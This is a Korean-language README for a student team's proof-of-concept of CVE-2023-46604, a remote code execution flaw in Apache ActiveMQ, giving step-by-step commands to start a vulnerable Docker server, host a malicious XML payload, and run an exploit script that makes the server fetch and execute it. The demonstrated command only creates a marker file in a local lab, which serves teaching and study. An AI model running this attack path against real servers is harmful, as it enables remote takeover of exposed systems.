CVE-2023-46604: Apache ActiveMQ RCE 개념 증명

과제: SSP 과제 3 팀: RCE You Later 팀원: Banica Horia Alexandru, Comarlau Vlad-Constantin

저장소를 사용하여 PoC를 수행하는 비디오 링크: https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 개요

이 저장소는 CVE-2023-46604에 대한 완전한 기능의 개념 증명(PoC)을 포함합니다. 이 취약점을 통해 공격자는 취약한 Apache ActiveMQ 서버(버전 5.15.10)가 악의적인 XML 구성 파일을 역직렬화하도록 강제하여 임의의 셸 명령을 실행할 수 있습니다.

목표: 피해 서버 내에 pwned_by_ssp_team이라는 파일을 생성하여 우리가 제어권을 가지고 있음을 증명합니다.

🛠️ 사전 요구 사항

익스플로잇을 실행하기 전에 다음이 설치되어 있는지 확인하세요:

Docker 및 Docker Compose (설치 및 실행 중)
Python 3

📂 저장소 구조

vulnerable-env/: 피해 서버의 Docker 설정을 포함합니다.
attacker/: 익스플로잇 스크립트와 악의적인 페이로드를 포함합니다.
- exploit.py: 악의적인 패킷을 전송하는 Python 스크립트입니다.
- serve.py: XML 페이로드를 호스팅하는 간단한 HTTP 서버입니다.
- poc.xml: touch /tmp/pwned_by_ssp_team 명령을 포함하는 악의적인 구성 파일입니다.

🚀 단계별 사용 가이드

1단계: 피해자(ActiveMQ) 시작

Docker를 사용하여 오래되고 취약한 버전의 ActiveMQ를 실행합니다.

터미널을 엽니다.
vulnerable-env 폴더로 이동합니다:
```
cd vulnerable-env
```
컨테이너를 시작합니다:
```
docker-compose up -d
```
서버가 완전히 시작될 때까지 30초 기다립니다.

2단계: 악성 XML 호스팅

피해 서버가 우리로부터 명령을 다운로드해야 합니다. 이러한 명령을 호스팅하기 위해 작은 웹 서버를 설정합니다.

두 번째 터미널을 엽니다.
attacker 폴더로 이동합니다:
```
cd attacker
```
Python 웹 서버를 시작합니다:
```
python3 serve.py
```
이 터미널을 열어 두세요! "Serving HTTP on 0.0.0.0 port 8000..."이 표시되어야 합니다.

3단계: 익스플로잇 실행

이제 취약점을 트리거하는 특정 네트워크 패킷을 전송합니다.

세 번째 터미널을 엽니다.
attacker 폴더로 이동합니다:
```
cd attacker
```
익스플로잇 스크립트를 실행합니다.
- 참고: macOS 또는 Windows를 사용 중인 경우 아래 명령을 그대로 사용하세요.
```
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
```
- Linux 사용자: Linux를 사용 중인 경우 host.docker.internal을 네트워크 브리지의 게이트웨이(보통 172.17.0.1)로 바꾸세요. 위의 주소가 작동하지 않으면 다음과 같이 주소를 확인해 보세요: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

4단계: 해킹 확인

작동했나요? 컨테이너 내부에 파일이 생성되었는지 확인해 봅시다.

첫 번째 터미널(또는 아무 터미널)로 돌아갑니다.
피해자 내부의 /tmp 폴더를 확인하는 이 명령을 실행합니다:
```
docker exec activemq-victim ls -l /tmp
```
성공: pwned_by_ssp_team이라는 파일이 표시되어야 합니다.

🧹 정리

취약한 컨테이너를 중지하고 제거하려면:

cd vulnerable-env
docker-compose down

SSP-Assignment-3-RCEYouLater

인기